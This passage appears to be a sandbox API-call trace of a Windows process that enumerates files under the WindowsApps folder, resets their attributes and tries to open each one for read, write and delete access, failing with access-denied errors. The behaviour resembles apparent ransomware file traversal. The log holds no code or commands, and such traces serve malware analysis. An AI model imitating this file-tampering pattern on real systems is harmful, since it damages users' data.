	[0082.173] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d100) returned 1

Thread:
	id = 898
	os_tid = 0xeb4

	[0082.174] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.176] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.178] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.179] GetLastError () returned 0x5
	[0082.179] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47674f0) returned 1

Thread:
	id = 899
	os_tid = 0x4c0

	[0082.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4773d30
	[0082.181] wcscpy (in: _Dest=0x4773d30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.181] wcscat (in: _Dest=0x4773d30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.181] wcscat (in: _Dest=0x4773d30, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4715c30
	[0082.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4715c30 | out: lpFindFileData=0x4715c30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab022752, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd526822a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6f90
	[0082.182] wcscmp (_String1=".", _String2=".") returned 0
	[0082.182] FindNextFileW (in: hFindFile=0x46a6f90, lpFindFileData=0x4715c30 | out: lpFindFileData=0x4715c30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xab022752, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd526822a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.182] wcscmp (_String1="..", _String2=".") returned 1
	[0082.182] wcscmp (_String1="..", _String2="..") returned 0
	[0082.182] FindNextFileW (in: hFindFile=0x46a6f90, lpFindFileData=0x4715c30 | out: lpFindFileData=0x4715c30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd526822a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd526822a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x726b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.182] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.183] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.183] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x47ccb90
	[0082.183] wcscpy (in: _Dest=0x47ccb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.183] wcscat (in: _Dest=0x47ccb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.183] wcscat (in: _Dest=0x47ccb90, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.805] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.806] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.806] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.807] GetLastError () returned 0x5
	[0090.807] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ccb90) returned 1
	[0090.807] FindNextFileW (in: hFindFile=0x46a6f90, lpFindFileData=0x4715c30 | out: lpFindFileData=0x4715c30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd526822a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xd526822a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xd526822a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x726b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.807] FindClose (in: hFindFile=0x46a6f90 | out: hFindFile=0x46a6f90) returned 1
	[0090.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4715c30) returned 1
	[0090.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773d30) returned 1
	[0090.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f6f0) returned 1

Thread:
	id = 900
	os_tid = 0xd1c

	[0082.183] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.184] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.184] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.184] GetLastError () returned 0x5
	[0082.184] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47681a0) returned 1

Thread:
	id = 901
	os_tid = 0xd64

	[0082.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x481cb80
	[0082.185] wcscpy (in: _Dest=0x481cb80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.185] wcscat (in: _Dest=0x481cb80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.185] wcscat (in: _Dest=0x481cb80, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.185] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714688
	[0082.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab022fb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6fd0
	[0082.186] wcscmp (_String1=".", _String2=".") returned 0
	[0082.186] FindNextFileW (in: hFindFile=0x46a6fd0, lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab022fb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.186] wcscmp (_String1="..", _String2=".") returned 1
	[0082.186] wcscmp (_String1="..", _String2="..") returned 0
	[0082.186] FindNextFileW (in: hFindFile=0x46a6fd0, lpFindFileData=0x4714688 | out: lpFindFileData=0x4714688*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x628cd443, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xab022fb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628cd443, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.186] FindClose (in: hFindFile=0x46a6fd0 | out: hFindFile=0x46a6fd0) returned 1
	[0082.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714688) returned 1
	[0082.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481cb80) returned 1
	[0082.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cc980) returned 1

Thread:
	id = 902
	os_tid = 0xda8

	[0082.187] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png")) returned 0x20
	[0082.189] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png", dwFileAttributes=0x20) returned 0
	[0082.191] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.192] GetLastError () returned 0x5
	[0082.192] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\256x256.png", dwFileAttributes=0x20) returned 0
	[0082.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1

Thread:
	id = 903
	os_tid = 0xbac

	[0082.194] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.197] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.198] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.199] GetLastError () returned 0x5
	[0082.199] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e030) returned 1

Thread:
	id = 904
	os_tid = 0x2ac

	[0082.202] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxclickhandler.winmd")) returned 0x20
	[0082.204] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd", dwFileAttributes=0x20) returned 0
	[0082.205] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxclickhandler.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.206] GetLastError () returned 0x5
	[0082.206] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxClickHandler.winmd", dwFileAttributes=0x20) returned 0
	[0082.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec158) returned 1

Thread:
	id = 905
	os_tid = 0x600

	[0082.209] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0082.211] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.212] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.213] GetLastError () returned 0x5
	[0082.213] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f0d0) returned 1

Thread:
	id = 906
	os_tid = 0xe20

	[0082.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773e10
	[0082.216] wcscpy (in: _Dest=0x4773e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.216] wcscat (in: _Dest=0x4773e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.216] wcscat (in: _Dest=0x4773e10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4715e98
	[0082.216] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4715e98 | out: lpFindFileData=0x4715e98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab228e06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6b10
	[0082.217] wcscmp (_String1=".", _String2=".") returned 0
	[0082.217] FindNextFileW (in: hFindFile=0x46a6b10, lpFindFileData=0x4715e98 | out: lpFindFileData=0x4715e98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab228e06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.217] wcscmp (_String1="..", _String2=".") returned 1
	[0082.217] wcscmp (_String1="..", _String2="..") returned 0
	[0082.217] FindNextFileW (in: hFindFile=0x46a6b10, lpFindFileData=0x4715e98 | out: lpFindFileData=0x4715e98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c5575af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2abd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0082.217] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0082.217] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0082.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4767010
	[0082.217] wcscpy (in: _Dest=0x4767010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.217] wcscat (in: _Dest=0x4767010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.217] wcscat (in: _Dest=0x4767010, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.800] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.803] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.803] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.803] GetLastError () returned 0x5
	[0090.803] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767010) returned 1
	[0090.803] FindNextFileW (in: hFindFile=0x46a6b10, lpFindFileData=0x4715e98 | out: lpFindFileData=0x4715e98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5575af, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c5575af, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c5575af, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2abd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.803] FindClose (in: hFindFile=0x46a6b10 | out: hFindFile=0x46a6b10) returned 1
	[0090.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4715e98) returned 1
	[0090.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773e10) returned 1
	[0090.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477dcd0) returned 1

Thread:
	id = 907
	os_tid = 0xf00

